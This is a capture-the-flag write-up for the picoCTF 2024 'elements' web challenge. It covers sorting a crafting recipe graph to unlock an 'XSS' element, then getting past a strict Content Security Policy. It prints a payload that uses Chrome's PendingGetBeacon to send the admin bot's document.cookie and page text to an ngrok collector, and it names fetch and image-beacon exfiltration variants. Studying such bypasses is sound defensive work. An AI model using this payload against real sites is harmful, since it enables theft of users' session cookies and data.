elements picoCTF 2024 Solution

Published: April 3, 2024

Description

A crafting game in the style of Little Alchemy: combine base elements to discover new ones. The twist is that the recipe you submit is rendered into an admin bot's page, so the real goal is to craft an 'XSS' element, fire it inside a strict Content Security Policy, and exfiltrate the flag. This was the second-least-solved challenge of picoCTF 2024.

Remote (web)

Open the challenge site and read how /craft and /remoteCraft work.

Inspect the response headers to read the Content-Security-Policy the admin page enforces.

Stand up an external collector (ngrok, webhook.site) to receive the exfiltrated flag.

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Model the crafting graph and reach the XSS element
    Observation
    I noticed the game only allows crafting an element if both of its ingredients are already unlocked, which means the XSS element's full dependency tree must be resolved in the correct order before submission. This suggested treating the recipe list as a directed acyclic graph and topologically sorting it so every prerequisite is crafted before it is needed.
    The game defines recipes like 'Exploit + Web Design = XSS'. To unlock the XSS element you must craft every ingredient in its dependency tree first, in valid order. Build the recipe graph, find the path from the base elements (Fire, Water, Earth, Air) up to XSS, and topologically sort it so each craft only uses elements you already have.
    python
    python3 - <<'PY'
    # recipes: result -> (ingredient_a, ingredient_b)
    # Build the full set you must craft, then topo-sort so dependencies come first.
    from collections import deque
    
    recipes = { "XSS": ("Exploit", "Web Design"), }  # fill from the site's recipe list
    def deps(target):
        order, seen = [], set()
        def visit(x):
            if x in seen: return
            seen.add(x)
            if x in recipes:
                for ing in recipes[x]:
                    visit(ing)
                order.append(x)
        visit(target)
        return order
    
    print(deps("XSS"))   # craft these in this order
    PY
    What didn't work first

    Tried: Craft elements in the order they appear in the recipe list on the site, without sorting by dependencies first.

    The site rejects a craft if either ingredient has not been unlocked yet, returning an error. Because XSS depends on intermediaries that themselves depend on earlier elements, an unsorted sequence will fail partway through. A topological sort guarantees each element's prerequisites appear before it in the submission sequence.

    Tried: Manually trace the dependency chain by eye instead of writing a graph traversal.

    The recipe graph for XSS has multiple levels of transitive dependencies, so manual tracing misses shared sub-dependencies or visits them in the wrong order. A DFS or BFS traversal on the recipe dict is the reliable approach and also produces a reusable script if the recipe set changes.

    Learn more

    Why topological sorting. You can only combine elements you already own, so the craft sequence must respect dependencies: an element appears only after both of its ingredients. A topological sort of the recipe DAG produces exactly such an ordering. This is the same ordering problem as build systems and package managers solve.

  2. Step 2
    Understand the CSP that blocks the obvious exfil
    Observation
    I noticed the response headers on the admin page included a Content-Security-Policy with a restrictive connect-src directive, which indicated that standard outbound request methods like fetch() and XMLHttpRequest would be blocked before reaching any external collector. This suggested I needed to understand exactly which request primitives the policy covered before attempting exfiltration.
    The admin page sets a strict Content-Security-Policy. Inline script may run via the crafted element, but connect-src / default-src forbid outbound requests to your domain, so fetch(), XHR, navigator.sendBeacon(), image beacons, and form posts to an external host are all refused. You need a request primitive the CSP does not cover.
    Learn more

    What CSP actually restricts. A Content-Security-Policy enumerates which origins each resource type may load from. connect-src governs fetch/XHR/WebSocket/sendBeacon, img-src governs images, script-src governs script sources. If every network-capable directive (or default-src) excludes your collector, the browser silently blocks the request before it leaves. That is why a normal fetch("https://me/?f="+flag) does nothing here.

  3. Step 3
    Exfiltrate with a CSP-unaware browser API
    Observation
    I noticed that fetch(), XHR, image beacons, and sendBeacon() were all blocked by the CSP, but the admin bot ran a specific Chrome version that had shipped the experimental PendingBeacon API before CSP enforcement was extended to cover it. This suggested that PendingGetBeacon or PendingPostBeacon would bypass connect-src entirely and successfully deliver the flag to an external collector.
    The winning trick is to use an experimental Chromium feature whose requests were not subject to CSP: the PendingBeacon API (window.PendingGetBeacon / PendingPostBeacon). It issues an HTTP request that connect-src does not block, so you can ship the document cookie / flag to your external collector despite the policy. Put the call inside the crafted XSS payload and submit it via /remoteCraft so the admin bot executes it.
    js
    // payload carried by the crafted "XSS" element, run on the admin page:
    const b = new PendingGetBeacon("https://<your-ngrok>/x?f=" + encodeURIComponent(document.cookie + document.body.innerText));
    b.sendNow();
    bash
    # Watch your collector; the admin bot's request carries the flag.

    The path shown here was an unintended one: it abused a Chrome-only API that did not honour CSP. PendingBeacon was later removed, so on a current browser you may need an equivalent non-fetch channel (for example a navigation-based leak); the principle is the same: find a request type the policy does not cover.

    What didn't work first

    Tried: Use fetch() or XMLHttpRequest to POST the flag to an ngrok collector endpoint.

    The admin page's connect-src directive blocks all outbound requests to external origins, so fetch() and XHR are silently dropped by the browser before they leave the page. The request never reaches the collector and no error appears in the payload response. PendingBeacon (or another API that predates CSP coverage) is needed because those calls bypass connect-src enforcement entirely.

    Tried: Use an image beacon (new Image().src = 'https://collector/?f=' + flag) to bypass connect-src.

    An image beacon is subject to img-src, which is typically locked down alongside connect-src in this challenge's policy. The browser blocks the load and the collector receives nothing. PendingBeacon issues a background-sync-style HTTP request through a separate code path that was not yet wired into CSP directive checks in the Chrome version used by the admin bot.

    Learn more

    Why this works. CSP enforcement is implemented per request type. When a browser ships a new network API before the CSP plumbing is added, that API becomes an exfiltration hole: the bytes leave the page even though connect-src would have blocked an equivalent fetch. Bug-bounty and CTF web exploitation both rely on enumerating these gaps when a policy looks airtight.

Interactive tools
  • Regex TesterTest regular expressions against a string with live match highlighting, flag toggles, and common CTF pattern shortcuts.

Flag

Reveal flag

picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_...}

Craft the XSS element by topologically sorting the recipe graph, then bypass the strict CSP by exfiltrating with an experimental browser API (PendingBeacon) that connect-src did not enforce, sending the flag from the admin bot's page to your collector.

Key takeaway

Content Security Policy restricts which origins the browser will contact for each resource category, but enforcement is only as complete as the spec coverage of every network-capable API. When browsers ship new request primitives (beacons, speculation rules, reporting endpoints) before CSP directives are extended to cover them, those APIs become exfiltration channels that bypass an otherwise correct policy. Real-world CSP bypasses in bug bounty programs follow exactly this pattern: auditing every network API available in the target browser version, not just fetch and XHR. The defence is to keep CSP directives updated with new browser capabilities and use a report-only policy in staging to catch gaps before they reach production.

Related reading

Want more picoCTF 2024 writeups?

Useful tools for Web Exploitation

What to try next